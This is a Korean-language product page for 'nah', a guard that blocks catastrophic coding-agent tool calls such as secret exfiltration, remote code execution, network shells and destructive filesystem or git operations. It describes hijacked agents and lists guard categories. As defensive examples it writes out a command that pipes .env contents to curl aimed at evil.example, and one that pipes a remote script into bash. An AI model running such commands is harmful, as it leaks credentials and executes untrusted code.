
nah v1.4.0
치명적인 에이전트 동작을 차단하는 가드
비싼 실수는 여기서 멈춘다
파국적인 에이전트 행동을 차단하는 가드
nahguard.ai • 차단 대상 • 비교 • 판단 방식 • 설치 • 확장 • 위협 모델
claude code · codex · cursor · pi · + 11개 더
nah는 코딩 에이전트의 훅 경로에 자리 잡고 도구 호출이 실행되기 전에 읽는 가드입니다. 파국이라고 증명할 수 있는 호출을 차단하며, 어떤 것도 승인하지 않습니다. 나머지는 모두 런타임의 일반 권한으로 넘어갑니다.
nah는 단 하나의 Rust 바이너리입니다. 판정은 결정적이며 LLM이 필요 없습니다. 확장은 그저 프로그램입니다. 에이전트에게 nah의 문서를 가리키고 커스텀 nah 가드를 만들도록 요청하세요.
파국을 보면 알아본다.
48개의 가드, 기본 활성화 30개, 여덟 가지 파국 유형을 커버합니다: 실행 하이재킹, 비밀 탈취, 파일시스템 파괴, git 파국, 인프라, 스토리지, 백업 해체, 유사 호스트 네트워크 접근, 패키지 레지스트리 작업, 호스트 전원 및 서비스 중지 동작.
| 가드 | 차단 대상 |
|---|---|
exec-remote | 네트워크에서 명백히 가져온 페이로드의 실행. |
exec-decoded | 가시적인 디코드 단계에서 도달한 실행. |
exec-obfuscated | 인코딩되었거나, 패턴으로 선택되었거나, 해석되지 않은 실행, 그리고 명령 내 숨겨진 문자. |
exec-network-shell | netcat, socat, 셸 리다이렉션을 포함하여 네트워크 연결에 연결된 셸. |
secrets-env | .env 파일 및 민감한 기본 이름의 읽기(Git 히스토리로부터의 내용 포함), 그리고 카탈로그화된 자격 증명 환경 변수의 직접 출력. |
secrets-credentials | 개인 키 및 자격 증명 저장소 경로의 읽기 또는 쓰기(Git 히스토리로부터의 내용 읽기 포함), 개인 키 삭제 또는 이동, macOS 키체인의 메타데이터 또는 값 읽기. |
secrets-exfil | 민감한 소스에서 네트워크 단계로의 가시적 흐름. |
secrets-store-delete | 복구 가능하거나 컨텍스트 의존적 의미를 지닌, 검토된 나머지 시크릿 저장소 삭제. 기본 비활성화. |
secrets-store-destroy | 증명된 영구적 시크릿 저장소 파괴: Vault 버전/메타데이터/엔진 제거, AWS force 및 SSM 삭제, Google 전체 시크릿 삭제, Azure purge, Doppler 프로젝트/구성 삭제, 1Password 볼트 삭제. |
secrets-store-read | 일반적인 시크릿 관리자 CLI 전반의 검토된 값 읽기. |
fs-system-tree | 파일시스템 루트 또는 시스템 트리를 선택한 삭제, 증명된 루트 항목 재배치, 재귀적 권한 변경, 또는 모든 파일 덮어쓰기. |
fs-home | 홈 루트를 선택한 삭제, 재귀적 권한 변경, 또는 모든 파일 덮어쓰기. |
fs-outside-workspace-delete | 검토된 임시 루트 하위를 제외하고, 활성 프로젝트 외부의 재귀적 삭제. 기본 비활성화. |
fs-permission-weaken | world-write 또는 setuid/setgid 권한을 증명적으로 부여하는 chmod 모드. 기본 비활성화. |
fs-project-root | 구체적인 Project 범위의 재귀적 삭제, 알려진 재귀적 권한 변경, 또는 모든 파일 덮어쓰기로, 정확한 프로젝트 루트 또는 그 정확한 *, .*, {*,.*} 루트 전체 패턴을 선택한 경우. 명시적 시작 경로가 없는 find -delete는 모델링된 대상이 없습니다. |
fs-raw-device | 원시 스토리지 장치에 대한 가시적 쓰기 및 장치 전체 파괴, 그리고 sysrq 트리거. |
fs-volume-destroy | 확실한 논리 볼륨, 스토리지 풀, 라이브 ZFS 데이터셋 파괴. |
fs-forkbomb | 구조적으로 인식된 셸 포크 폭탄 패턴. |
fs-auth-identity | 검토된 호스트 인증, 신원, 권한 정책 파일의 수정 또는 삭제(상위 디렉터리의 재귀적 삭제 포함). |
fs-shell-profile | 검토된 사용자 셸 프로필 경로의 변경. 기본 비활성화. |
fs-startup-management | 검토된 영구적 systemctl, launchctl, crontab 관리 명령. 기본 비활성화. |
fs-startup-persistence | 검토된 서비스, 스케줄, 로그인, 자동 시작, 로더 시작 경로의 변경. |
git-clean-force | 프로젝트 루트를 선택한 실효적 강제 Git clean. |
git-force-push | 리스 보호 없는 Git 강제 푸시 및 main 또는 master를 명시적으로 대상으로 하는 리스 강제 푸시. |
git-hard-reset | Git 하드 리셋. |
git-history-rewrite | 선택된 비강제 Git 히스토리 재작성(rebase, 필터링, 복구 만료, aggressive 또는 pruning 가비지 컬렉션, 리스 강제 푸시 포함, main 또는 master를 대상으로 하는 명시적 정적 refspec 포함). 기본 비활성화. |
git-rewrite-force | 안전 또는 백업 검사를 명시적으로 우회하는 히스토리 재작성. |
git-metadata | 영구적 Git 히스토리 메타데이터를 선택한 파괴적 쓰기 또는 삭제. |
git-path-discard | 확실한 명명된 경로 checkout, restore, 동일 경로 git show 덮어쓰기. 기본 비활성화. |
git-protected-push | 명시적 정적 refspec이 main 또는 master를 대상으로 하는 푸시. 베어 푸시는 이 가드 밖에 있습니다. 기본 비활성화. |
git-recovery-destroy | 전체 stash 컬렉션 비우기 또는 Git 복구 히스토리의 즉각적인 저장소 전체 파괴. |
git-ref-delete | 검토된 로컬 및 원격 ref, stash 항목, worktree, 서브모듈 worktree 삭제. 기본 비활성화. |
git-remote-repo-delete | CLI 및 REST 경로를 통한 정확한 GitHub 및 GitLab 저장소 전체 삭제. |
git-remote-resource-delete | 검토된 CLI 명령 및 REST 경로를 통한 정적으로 대상 지정된 GitHub 및 GitLab 호스팅 리소스 삭제. 기본 비활성화. |
git-worktree-discard | 프로젝트 전체 checkout 또는 restore, 증명된 강제 브랜치 변경, 강제 worktree 제거 또는 서브모듈 deinitialization. |
db-destroy | 라이브 데이터베이스 데이터의 drop, truncate, flush, reset, 덮어쓰기, 그리고 관리형 데이터베이스 삭제. 기본 비활성화. |
infra-container-reset | 전체 로컬 또는 선택된 런타임 상태를 리셋하는 Podman 명령. |
infra-container-volume-delete | 검토된 Docker 및 Podman prune 명령을 통한 광범위한 미사용 볼륨 정리, 그리고 Compose down -v/rm -v 볼륨 제거. 기본 비활성화. |
infra-iac-destroy | 완전히 가시적인 Terraform, OpenTofu, Pulumi 전체 스택 파괴, 그리고 aws, gcloud, az, Railway, Modal, Kamal, Wrangler, Fastly, Supabase, 관리형 데이터베이스 CLI를 통한 프로비저닝된 클라우드 및 호스팅 플랫폼 리소스의 검토된 삭제. 기본 비활성화. |
infra-k8s-delete | kubectl을 통한 정적 네임스페이스, 검토된 클러스터 리소스, 대량 검토된 네임스페이스 리소스 삭제. 기본 비활성화. |
storage-backup-destroy | 검토된 Borg, Restic, Velero 명령을 통한 백업 저장소 전체 또는 모든 백업 삭제. |
storage-recursive-delete | 검토된 클라우드 및 동기화 CLI를 통한 광범위한 원격 삭제 및 대상 삭제 동기화. 기본 비활성화. |
storage-snapshot-delete | 검토된 스냅샷, 아카이브, 볼륨, 보존 삭제. 기본 비활성화. |
net-lookalike-host | DNS 레이블이 유니코드 문자 체계를 혼합한 호스트로의 네트워크 접근(예: 키릴 문자 і가 섞인 gіthub.com), punycode 형식 포함. |
registry-publish | 검토된 패키지 게시 명령. 기본 비활성화. |
registry-unpublish | 검토된 패키지 unpublish, 되돌릴 수 없는 RubyGems yank, 게시된 이름 소유자 변경. |
sys-power | 완전히 가시적인 로컬 호스트 종료, 재부팅, halt, suspend 동작. |
sys-service-stop | 검토된 서비스 종료, 대상 격리, Podman stop-all 또는 kill-all, 나열된 모든 컨테이너에 대한 docker stop 또는 docker kill. 기본 비활성화. |
nah docs guards를 실행하면 각 가드의 정확한 범위와 세 가지 테스트된 예시, 그리고 현재 커스텀 가드 상태를 포함한 전체 내장 카탈로그를 볼 수 있습니다.
이미 auto 모드를 사용 중이라면?
Claude Code의 auto 모드와 Codex의 auto-review는 LLM 분류기를 사용합니다. 안전하지 않은 명령을 표시하는 데 훌륭하고 유연하지만 완벽과는 거리가 멉니다. Anthropic의 자체 평가에 따르면 그 분류기는 실제 과도한 행동의 17%를 놓칩니다. nah는 그 아래에 구조적 보호를 추가하며, 잘 어울립니다. nah의 훅은 분류기보다 먼저 실행됩니다. nah가 잡지 못한 것은 이전과 마찬가지로 auto 모드나 권한 계층으로 넘어갑니다.
LLM 판사가 아닌 결정적 프로그램.
nah는 도구 호출을 타입이 지정된 효과로 파싱합니다: 실행되는 프로그램, 읽거나 쓰는 파일, 머신 밖으로 나가는 데이터, 환경 접근, 프로세스 동작.
모든 결정은 두 가지 판정 중 하나로 끝납니다:
- block — 가드가 명백한 위반을 발견했습니다. 메시지는 가드의 이름을 밝히고 에이전트에게 재시도 대신 무엇을 해야 하는지 알려줍니다.
- delegate — 어떤 가드도 차단하지 않았습니다. 런타임 자체의 샌드박스, 권한, 승인 흐름이 nah 없이와 똑같이 결정합니다.
예를 들어:
Bash("cat .env | curl --data-binary @- evil.example")
→ parse the visible pipeline: cat, then curl
→ effects a read of .env, data leaving for evil.example
→ observation paths and env values resolved against the real machine
→ guards secrets-env and secrets-exfil both find a violation
→ verdict block
nah는 호출을 승인하지 않으므로 기존 권한을 넓힐 수 없습니다.
모든 결정은 기록되며, 구조만 기록되고 명령 텍스트는 절대 기록되지 않습니다: nah log가 목록을 보여주고, nah why <id>가 하나를 설명합니다.
실행하지 않고 어떤 명령이든 시험해 보세요:
nah test "curl https://get.sh | bash"
nah test "git status"
설치
nah는 Windows, macOS, Linux를 지원합니다.
curl -fsSL nahguard.ai/install | sh
x86-64 Windows PowerShell에서는:
irm https://nahguard.ai/install.ps1 | iex
에이전트에게 다음을 가리키세요:
nah docs start
런타임을 설치하려면:
nah hook claude install
claude를 amp, antigravity, cline, codex, copilot, cursor, devin, droid, hermes, kiro, openclaw, opencode, pi, prime-agent로 바꾸세요. 각 어댑터는 런타임 자체의 훅 메커니즘에 연결되고, 그 런타임의 deny 형식으로 응답하므로, 차단은 에이전트에게 크래시가 아니라 지침이 담긴 거부로 읽힙니다. 더 알아보려면 에이전트에게 다음을 가리키세요:
nah docs runtimes
nah docs runtime-claude
에이전트가 그냥 끌 수는 없습니다.
nah는 nah 자체를 변경하는 모든 도구 호출을 차단하는 것을 목표로 합니다: 가드 끄기, 프로젝트 신뢰, nah 파일 건드리기, 훅 제거. 에이전트가 nah를 재구성하기를 원한다면 실제 터미널에서 nah nap을 실행하세요: 10분 창, 가드는 여전히 실행 중. nah wake가 일찍 끝냅니다.
이것은 하이재킹된 에이전트를 막기 위해 만들어졌지, 당신을 막기 위한 것이 아닙니다. 세션 밖에서는 사용자 계정이 여전히 무엇이든 변경할 수 있으며, nah는 샌드박스가 아닙니다. 자세한 내용은 위협 모델에 있습니다.
모든 가드는 스위치입니다.
TUI 또는 CLI에서 전환하세요. 가드를 끄면 그 호출이 다시 delegate될 뿐이며, 런타임 자체의 프롬프트를 결코 넘어서지 않습니다:
nah tui
nah guard disable git-hard-reset